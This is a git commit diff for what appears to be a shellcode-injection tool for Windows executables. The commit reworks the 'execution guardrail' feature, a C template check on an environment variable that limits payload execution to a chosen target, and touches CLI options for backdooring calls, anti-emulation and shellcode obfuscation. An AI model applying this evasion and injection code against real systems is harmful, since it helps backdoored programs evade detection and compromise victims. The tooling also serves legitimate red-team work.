feature: rework guardrails

This commit is contained in:
Dobin Rutishauser
2025-06-09 22:09:32 +02:00
parent f55596f4a8
commit ca1f497074
5 changed files with 84 additions and 33 deletions
+2 -1
View File
@@ -211,7 +211,8 @@ def add_project():
settings.decoder_style = request.form['decoder_style']
payload_location = request.form['payload_location']
settings.payload_location = PayloadLocation[payload_location]
settings.plugin_guardrail_data = request.form.get('guardrail_data', settings.plugin_guardrail_data)
settings.plugin_guardrail_data_key = request.form.get('guardrail_data_key', settings.plugin_guardrail_data_key)
settings.plugin_guardrail_data_value = request.form.get('guardrail_data_value', settings.plugin_guardrail_data_value)
settings.plugin_virtualprotect = request.form.get('virtualprotect', "standard")
# overwrite project
+30 -13
View File
@@ -1,27 +1,44 @@
char my_tolower(char c) {
if (c >= 'A' && c <= 'Z') {
return c + ('a' - 'A'); // or return c + 32;
}
return c;
}
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
// Returns 1 if 'needle' is found in 'haystack' (case-insensitive), 0 otherwise
int contains_case_insensitive(const char* haystack, const char* needle) {
if (!haystack || !needle)
return 0;
for (; *haystack; haystack++) {
const char* h = haystack;
const char* n = needle;
while (*h && *n && my_tolower((unsigned char)*h) == my_tolower((unsigned char)*n)) {
h++;
n++;
}
if (*n == '\0') {
return 1; // Match found
}
}
return 0; // No match
}
int executionguardrail() {
// Execution Guardrail: Env Check
wchar_t envVarName[] = L"USERPROFILE";
wchar_t tocheck[] = L"{{guardrail_data}}";
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
LPCSTR envVarName = "{{guardrail_data_key}}";
LPCSTR tocheck = "{{guardrail_data_value}}";
char buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = GetEnvironmentVariableA(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
if (! contains_case_insensitive(buffer, tocheck)) {
return 6;
}
return 0;
+2 -1
View File
@@ -17,7 +17,8 @@ class Settings():
self.plugin_antiemulation: str = "none"
self.plugin_decoy: str = "none"
self.plugin_guardrail: str = "none"
self.plugin_guardrail_data: str = "C:\\\\Users\\\\hacker"
self.plugin_guardrail_data_key: str = ""
self.plugin_guardrail_data_value: str = ""
self.plugin_virtualprotect: str = "standard"
self.plugin_virtualprotect_data: str = ""
+9 -3
View File
@@ -53,9 +53,14 @@ def create_c_from_template(settings: Settings, payload_len: int):
logger.info(" Carrier AntiEmulation: {}".format(
settings.plugin_antiemulation)
)
logger.info(" Carrier Guardrail: {}".format(
settings.plugin_guardrail)
if settings.plugin_guardrail != "none":
logger.info(" Carrier Guardrail: {} (key: {} value: {})".format(
settings.plugin_guardrail,
settings.plugin_guardrail_data_key,
settings.plugin_guardrail_data_value)
)
else:
logger.info(" Carrier Guardrail: none")
logger.info(" Carrier Decoy: {}".format(
settings.plugin_decoy)
)
@@ -75,7 +80,8 @@ def create_c_from_template(settings: Settings, payload_len: int):
with open(filepath_guardrails, "r", encoding='utf-8') as file:
plugin_guardrails = file.read()
plugin_guardrails = Template(plugin_guardrails).render({
'guardrail_data': settings.plugin_guardrail_data,
'guardrail_data_key': settings.plugin_guardrail_data_key,
'guardrail_data_value': settings.plugin_guardrail_data_value,
})
# Plugin: Decoder
+33 -7
View File
@@ -34,7 +34,10 @@ def main():
parser.add_argument('--carrier', type=str, help='carrier: data/source/carrier/* (alloc_rw_rx, peb_walk, ...)', default="alloc_rw_rx")
parser.add_argument('--decoder', type=str, help='decoder: data/source/decoders/* (xor_1, xor_2, plain, ...)', default="xor_2")
parser.add_argument('--antiemulation', type=str, help='anti-emulation: data/source/antiemulation/* (sirallocalot, timeraw, none, ...)', default="sirallocalot")
parser.add_argument('--fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=True)
parser.add_argument('--guardrail', type=str, help='guardrails: Enable execution guardrails', default="none")
parser.add_argument('--guardrail-key', type=str, help='guardrails: key', default="")
parser.add_argument('--guardrail-value', type=str, help='guardrails: value', default="")
parser.add_argument('--no-fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=False)
parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"eop\" for entry point', choices=["eop", "backdoor"], default="backdoor")
parser.add_argument('--start', action='store_true', help='Start the infected executable at the end for testing')
parser.add_argument('--short-call-patching', action='store_true', help='Debug: Make short calls long. You will know when you need it.')
@@ -51,10 +54,23 @@ def main():
else:
setup_logging(logging.INFO)
settings.try_start_final_infected_exe = args.start_injected
settings.try_start_final_infected_exe = args.start
settings.cleanup_files_on_start = not args.no_clean_at_start
settings.cleanup_files_on_exit =not args.no_clean_at_exit
settings.fix_missing_iat = not args.no_fix_iat
if args.guardrail:
settings.plugin_guardrail = args.guardrail
settings.plugin_guardrail_data_key = args.guardrail_key
settings.plugin_guardrail_data_value = args.guardrail_value
logger.info("-( Config: Implant IAT fixup if necessary: {}".format(settings.fix_missing_iat))
if settings.plugin_guardrail != "none":
logger.info("-( Config: Guardrails Plugin: {} {}/{}".format(
settings.plugin_guardrail,
settings.plugin_guardrail_data_key,
settings.plugin_guardrail_data_value))
# Shellcode: filename
# Inject: filename
settings.init_payload_injectable(
@@ -130,14 +146,14 @@ def sanity_checks(settings):
def start_real(settings: Settings):
def start_real(settings: Settings) -> bool:
"""Main entry point for the application. This is where the magic happens (based on settings)"""
# Load our input
project = Project(settings)
if not project.init():
logger.error("Error initializing project")
return 1
return False
# CHECK if 64 bit
if not project.injectable.superpe.is_64():
@@ -158,7 +174,7 @@ def start_real(settings: Settings):
phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
except FileNotFoundError as e:
logger.error("Error creating C from template: {}".format(e))
return 1
return False
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
# So the carrier is able to find the payload
@@ -181,7 +197,7 @@ def start_real(settings: Settings):
settings = project.settings)
except ChildProcessError as e:
logger.error("Error compiling C to ASM: {}".format(e))
return
return False
# we have the carrier-required IAT entries in carrier.iat_requests
# CHECK if all are available in infectable, or abort (early check)
@@ -190,7 +206,8 @@ def start_real(settings: Settings):
logging.error("IAT entries not found in infectable: {}".format(", ".join(functions)))
logging.error("The carrier depends on these functions, but they are not available in the infectable exe.")
logging.error("Use another infectable exe, or update the carrier to not depend on these functions.")
raise Exception("Required carrier import not found in infectable: {}".format(", ".join(functions)))
logging.error(" or dont use --no-fix-iat")
return False
# ASSEMBLE: Assemble .asm to .shc (ASM -> SHC)
carrier_shellcode: bytes = phases.assembler.asm_to_shellcode(
@@ -227,6 +244,15 @@ def start_real(settings: Settings):
elif settings.try_start_final_infected_exe:
run_exe(settings.inject_exe_out, dllfunc=settings.dllfunc, check=False)
if settings.plugin_guardrail != "none":
logger.warning("! Remember your guardrails settings when testing")
logger.warning("! {}: {} / {}".format(
settings.plugin_guardrail,
settings.plugin_guardrail_data_key,
settings.plugin_guardrail_data_value))
return True
def obfuscate_shc_loader(file_shc_in, file_shc_out):
logger.info(" Obfuscate shellcode with SGN")